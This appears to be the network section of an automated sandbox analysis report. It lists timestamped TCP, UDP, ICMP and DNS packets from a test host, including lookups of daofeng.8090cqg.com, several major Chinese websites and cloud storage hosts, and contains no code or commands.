Aug 5, 2024 12:00:06.309423923 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309432983 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.309456110 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309488058 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309501886 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.309521914 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309568882 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.316857100 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.316983938 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.600368023 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600435019 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600469112 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600560904 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.600584984 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600620031 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600634098 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.600652933 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600688934 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600720882 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600744963 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.600754023 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600759983 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.600786924 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600821018 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600848913 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600869894 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.600882053 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.600895882 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.600933075 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.601861954 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.695910931 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.695949078 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.695988894 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696041107 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696053028 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696073055 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696098089 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696106911 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696140051 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696156025 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696188927 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696221113 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696268082 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696271896 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696311951 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696321011 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696355104 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696387053 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696419001 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696438074 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696449995 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696460009 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696537018 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696568966 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696600914 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696621895 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696631908 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696643114 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696666002 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696700096 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696736097 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696755886 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696768999 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696780920 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696803093 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696835995 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.696888924 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.696938992 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.703321934 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.706075907 CEST	49766	80	192.168.2.5	27.221.16.149

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 11:59:07.003757000 CEST	57766	53	192.168.2.5	1.1.1.1
Aug 5, 2024 11:59:07.477832079 CEST	53	57766	1.1.1.1	192.168.2.5
Aug 5, 2024 11:59:08.065052032 CEST	57767	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.065756083 CEST	57768	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.230037928 CEST	53	57767	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:08.254266024 CEST	57769	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.265615940 CEST	57770	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.267620087 CEST	57771	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.269334078 CEST	57772	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.275585890 CEST	53	57772	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:08.320583105 CEST	57773	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.321695089 CEST	57774	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.382030964 CEST	57775	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.383204937 CEST	57776	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.418288946 CEST	53	57776	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:08.418987989 CEST	53	57769	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:08.446100950 CEST	57777	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.446433067 CEST	57778	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.458530903 CEST	53	57778	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:08.484838009 CEST	53	57770	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:08.507844925 CEST	57779	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.514148951 CEST	57780	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.518945932 CEST	53	57771	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:08.569679022 CEST	57781	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.570519924 CEST	57782	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.577699900 CEST	53	57782	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:08.616307020 CEST	53	57777	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:08.633040905 CEST	53	57775	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:08.634021997 CEST	57783	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.634771109 CEST	57784	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.658613920 CEST	53	57774	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:08.694199085 CEST	57785	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.694919109 CEST	57786	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.756843090 CEST	57787	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.757946014 CEST	57788	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.759406090 CEST	53	57779	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:08.819623947 CEST	57789	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.820034027 CEST	57790	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.825454950 CEST	53	57781	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:08.829041004 CEST	53	57768	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:08.831227064 CEST	53	57789	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:08.881896019 CEST	57791	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.882193089 CEST	57792	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.884429932 CEST	53	57780	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:08.922749996 CEST	53	57783	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:08.932677984 CEST	53	57786	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:08.937946081 CEST	53	57785	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:08.938920021 CEST	53	57787	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:08.945137978 CEST	57793	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:08.945521116 CEST	57794	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:08.978028059 CEST	53	57784	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:09.008635044 CEST	57795	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:09.009217978 CEST	57796	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:09.044889927 CEST	53	57791	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:09.048218966 CEST	53	57792	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:09.070332050 CEST	53	57790	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:09.070753098 CEST	57797	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:09.072503090 CEST	57798	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:09.113512039 CEST	53	57793	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:09.133589029 CEST	57799	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:09.134939909 CEST	57800	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:09.135946035 CEST	57801	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:09.136775017 CEST	57802	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:09.151107073 CEST	53	57802	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:09.254842997 CEST	53	57796	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:09.298111916 CEST	53	57799	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:09.320462942 CEST	53	57797	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:09.321831942 CEST	53	57794	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:09.383654118 CEST	53	57801	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:09.472183943 CEST	53	57800	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:09.513245106 CEST	53	57795	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:09.696552992 CEST	53	57788	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:09.727814913 CEST	53	57798	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:10.382400990 CEST	53	57773	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:10.617496014 CEST	58931	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:10.618318081 CEST	58932	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:10.782655001 CEST	53	58931	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:10.945235968 CEST	53	58932	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:10.983120918 CEST	58933	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:10.983557940 CEST	58934	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:11.222779036 CEST	53	58934	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:12.302535057 CEST	53	58933	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:16.946336031 CEST	58935	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:16.947146893 CEST	58936	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:16.954231977 CEST	53	58936	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:17.117170095 CEST	53	58935	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:29.625447035 CEST	65004	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:29.626156092 CEST	65005	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:29.655916929 CEST	53	65005	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:29.678050995 CEST	65006	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:29.679136038 CEST	65007	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:29.740466118 CEST	65008	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:29.740823984 CEST	65009	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:29.803155899 CEST	65010	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:29.803405046 CEST	65011	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:29.812257051 CEST	53	65010	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:29.845586061 CEST	53	65006	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:29.865750074 CEST	65012	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:29.866067886 CEST	65013	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:29.874799967 CEST	53	65004	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:29.927839994 CEST	65014	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:29.928241014 CEST	65015	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:29.940629005 CEST	53	65007	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:29.968266964 CEST	53	65011	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:29.990679979 CEST	65016	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:29.990886927 CEST	65017	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.028218031 CEST	53	65009	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.053791046 CEST	65018	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.054090023 CEST	65019	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.064342022 CEST	53	65008	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.115565062 CEST	65020	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.116744041 CEST	65021	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.177670956 CEST	65022	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.178503036 CEST	65023	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.222456932 CEST	53	65018	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.240889072 CEST	65024	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.242013931 CEST	65025	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.245604992 CEST	53	65017	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.248276949 CEST	53	65025	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.256714106 CEST	53	65014	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.277854919 CEST	53	65020	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.302937984 CEST	65026	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.303809881 CEST	65027	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.325617075 CEST	53	65016	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.342360973 CEST	53	65022	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.365756989 CEST	65028	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.366050005 CEST	65029	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.384314060 CEST	53	65028	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.411746025 CEST	53	65023	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.428447008 CEST	65030	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.428550005 CEST	65031	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.490458965 CEST	65032	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.491372108 CEST	65033	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.491400003 CEST	53	65024	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.529666901 CEST	53	65029	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.537720919 CEST	53	65015	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.554270983 CEST	53	65026	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.556370020 CEST	65034	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.557149887 CEST	65035	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.589881897 CEST	53	65031	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.615390062 CEST	65036	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.616252899 CEST	65037	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.645314932 CEST	53	65027	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.651174068 CEST	53	65032	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.660128117 CEST	53	65019	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.678090096 CEST	65038	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.679198027 CEST	65039	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.684561014 CEST	53	65030	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.739887953 CEST	53	65033	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.742059946 CEST	65042	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.742149115 CEST	65040	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.742149115 CEST	65041	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:30.742961884 CEST	65043	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:30.745042086 CEST	53	65021	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.749731064 CEST	53	65043	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.774295092 CEST	53	65037	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.809149981 CEST	53	65034	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.843441963 CEST	53	65038	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.867969990 CEST	53	65036	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.925452948 CEST	53	65035	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.945286036 CEST	53	65039	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:30.993107080 CEST	53	65041	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:30.995100021 CEST	53	65040	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:31.047069073 CEST	53	65042	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:32.211314917 CEST	65044	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:32.211592913 CEST	65045	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:32.376702070 CEST	53	65044	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:32.631618023 CEST	59724	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:32.632456064 CEST	52131	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:32.881412029 CEST	53	59724	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:32.965143919 CEST	53	52131	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:34.449640989 CEST	53	65045	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:41.154963970 CEST	52132	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:41.155711889 CEST	52133	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:41.162758112 CEST	53	52133	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:41.323501110 CEST	53	52132	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:49.334538937 CEST	57634	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:49.334574938 CEST	57635	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:49.341376066 CEST	53	57635	8.8.8.8	192.168.2.5
Aug 5, 2024 11:59:49.629524946 CEST	53	57634	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:59.096584082 CEST	62644	53	192.168.2.5	114.114.114.114
Aug 5, 2024 11:59:59.097513914 CEST	62645	53	192.168.2.5	8.8.8.8
Aug 5, 2024 11:59:59.347929955 CEST	53	62644	114.114.114.114	192.168.2.5
Aug 5, 2024 11:59:59.355537891 CEST	53	62645	8.8.8.8	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Type
Aug 5, 2024 11:59:10.787556887 CEST	192.168.2.5	27.221.16.149	2806	Echo
Aug 5, 2024 11:59:10.973644018 CEST	27.221.16.149	192.168.2.5	3006	Echo Reply
Aug 5, 2024 11:59:32.377893925 CEST	192.168.2.5	27.221.16.149	ddb1	Echo
Aug 5, 2024 11:59:32.564479113 CEST	27.221.16.149	192.168.2.5	e5b1	Echo Reply

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 5, 2024 11:59:07.003757000 CEST	192.168.2.5	1.1.1.1	0x2540	Standard query (0)	daofeng.8090cqg.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.065052032 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.065756083 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.254266024 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.265615940 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.267620087 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.269334078 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.320583105 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.321695089 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.382030964 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.383204937 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.446100950 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.446433067 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.507844925 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.514148951 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.569679022 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.570519924 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.634021997 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.634771109 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.694199085 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.694919109 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.756843090 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.757946014 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.819623947 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.eastmoney.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.820034027 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.eastmoney.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.881896019 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.tencent.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.882193089 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.tencent.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.945137978 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.cctv.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:08.945521116 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.cctv.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.008635044 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.hupu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.009217978 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.hupu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.070753098 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.autohome.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.072503090 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.autohome.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.133589029 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	www.jb51.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.134939909 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	www.jb51.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.135946035 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	guangzhoucs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.136775017 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	guangzhoucs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:10.617496014 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:10.618318081 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:10.983120918 CEST	192.168.2.5	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:10.983557940 CEST	192.168.2.5	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
